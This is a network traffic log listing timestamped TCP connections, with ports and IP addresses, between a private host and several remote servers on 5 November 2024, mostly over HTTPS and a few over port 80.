Nov 5, 2024 10:13:35.647197962 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.647695065 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.647699118 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.648279905 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.648287058 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.649436951 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:35.649451017 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:35.649497986 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:35.650055885 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:35.650068045 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:35.689583063 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.773060083 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.773214102 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.773268938 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.773272038 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.773314953 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.773554087 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.773574114 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.773587942 CET	49834	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.773595095 CET	443	49834	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.777245998 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.777295113 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.777584076 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.777609110 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.777628899 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.777681112 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.777784109 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.777792931 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.777820110 CET	49833	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.777825117 CET	443	49833	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.778471947 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.778482914 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.783195019 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.783493996 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.783556938 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.785197973 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.785198927 CET	49830	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.785216093 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.785233021 CET	443	49830	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.786164045 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.786223888 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.786281109 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.787501097 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.787915945 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.787946939 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.787995100 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.788788080 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.788799047 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.788808107 CET	49831	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.788811922 CET	443	49831	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.792748928 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.792748928 CET	49832	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.792757988 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.792767048 CET	443	49832	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.800766945 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.800796032 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.800934076 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.809953928 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.809972048 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.820159912 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.820179939 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.820281982 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.820467949 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.820481062 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.821209908 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.821229935 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.821284056 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.821865082 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.821872950 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.821985006 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.822001934 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.822016954 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.822113991 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:35.822125912 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:35.890369892 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.890418053 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.890451908 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.890485048 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.890491962 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.890501976 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.890527964 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.890537977 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.890588045 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.890594959 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.898693085 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.898751974 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.898758888 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.938550949 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:35.938558102 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:35.985493898 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.006263971 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.006426096 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.006508112 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.006515980 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.010615110 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.011257887 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.011265039 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.015160084 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.015203953 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.015211105 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.023623943 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.023696899 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.023701906 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.079180002 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.079190969 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.121126890 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.121172905 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.121181965 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.124974012 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.125020981 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.125029087 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.129287004 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.129323959 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.129337072 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.129343987 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.129380941 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.140018940 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.180563927 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.180597067 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.180618048 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.180628061 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.180677891 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.236165047 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.236237049 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.236285925 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.236294031 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.240319014 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.240952969 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.240958929 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.244534016 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.244570971 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.244592905 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.244601965 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.244642973 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.255098104 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.295916080 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.295943975 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.295996904 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.296005011 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.296061039 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.348983049 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:36.349374056 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:36.351581097 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.353859901 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:36.354145050 CET	80	49845	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:36.354212046 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:36.354357004 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:36.355462074 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.355549097 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.355555058 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.359281063 CET	80	49845	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:36.360157013 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.360187054 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.360213995 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.360224009 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.360229969 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.360269070 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.370687962 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.370735884 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.370740891 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.411226034 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.411266088 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.411308050 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.411318064 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.411356926 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.466913939 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.467005014 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.467053890 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.467061996 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.475228071 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.475253105 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.475275040 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.475281954 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.475334883 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.475341082 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.485985041 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.486036062 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.486042976 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.498061895 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.498115063 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.498122931 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.498456955 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.498656988 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.498682022 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.499047995 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.499108076 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.499767065 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.499818087 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.500735044 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.500798941 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.501061916 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.501070976 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.501127958 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.522975922 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.523401976 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.523438931 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.523859024 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.523864031 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.526660919 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.526706934 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.526714087 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.543330908 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.548046112 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.563105106 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.563503027 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.563518047 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.564266920 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.564274073 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.564785004 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.565263987 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.565279961 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.566065073 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.566070080 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.578401089 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.578747034 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.578768969 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.579149961 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.579154968 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.579293966 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.582185984 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.591106892 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.591142893 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.591160059 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.591166019 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.591201067 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.591207027 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.605237007 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.605278969 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.605282068 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.605290890 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.605329990 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.606921911 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.607224941 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.607240915 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.607620001 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.607625961 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.613352060 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.641948938 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.641984940 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.642014027 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.642045021 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.642045021 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.642054081 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.660012007 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.660062075 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.660120010 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.660303116 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.660319090 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.660327911 CET	49838	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.660334110 CET	443	49838	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.663007975 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.663031101 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.663280964 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.663408041 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.663420916 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.688669920 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.697604895 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.701196909 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.701280117 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.701311111 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.701359987 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.701380968 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.701397896 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.701451063 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.701463938 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.701474905 CET	49840	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.701479912 CET	443	49840	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.701817036 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.701824903 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.701853037 CET	49839	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.701857090 CET	443	49839	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.703562975 CET	49847	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.703588009 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.703742027 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.703743935 CET	49847	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.703772068 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.703829050 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.703854084 CET	49847	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.703865051 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.704029083 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.704047918 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.707041025 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.707071066 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.707094908 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.707103014 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.707133055 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.707154036 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.707160950 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.707202911 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.716784954 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.716830969 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.716909885 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.716981888 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.716990948 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.717024088 CET	49841	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.717029095 CET	443	49841	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.719074011 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.719106913 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.719166040 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.719306946 CET	49849	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.719324112 CET	443	49849	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.721103907 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.721610069 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.721713066 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.721865892 CET	49829	443	192.168.2.5	172.217.18.14
Nov 5, 2024 10:13:36.721873999 CET	443	49829	172.217.18.14	192.168.2.5
Nov 5, 2024 10:13:36.747212887 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.747236967 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.747271061 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.747301102 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.747337103 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.747495890 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.747499943 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.747526884 CET	49842	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.747529984 CET	443	49842	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.749737978 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.749749899 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.749798059 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.749973059 CET	49850	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:36.749986887 CET	443	49850	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:36.786525011 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.829296112 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.829313993 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.830140114 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:36.830179930 CET	443	49837	142.250.185.78	192.168.2.5
Nov 5, 2024 10:13:36.830281019 CET	49837	443	192.168.2.5	142.250.185.78
Nov 5, 2024 10:13:37.419625044 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.421083927 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.421108961 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.421827078 CET	49846	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.421833992 CET	443	49846	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.458997965 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.462022066 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.462047100 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.462342978 CET	49848	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.462347984 CET	443	49848	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.464457035 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.465147972 CET	49847	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:37.465171099 CET	443	49847	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:37.468724012 CET	49847	443	192.168.2.5	13.107.253.45
